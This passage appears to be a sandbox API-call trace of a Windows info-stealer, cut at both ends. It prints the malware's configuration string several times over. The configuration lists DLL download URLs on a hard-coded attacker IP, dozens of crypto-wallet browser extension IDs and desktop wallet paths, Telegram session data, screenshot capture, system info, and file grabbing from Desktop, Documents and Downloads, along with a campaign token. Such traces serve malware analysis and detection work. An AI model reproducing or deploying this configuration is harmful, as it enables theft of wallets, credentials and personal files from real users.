Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.644] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0258.644] StrStrW (lpFirst="vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.644] lstrlenW (lpString="vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension 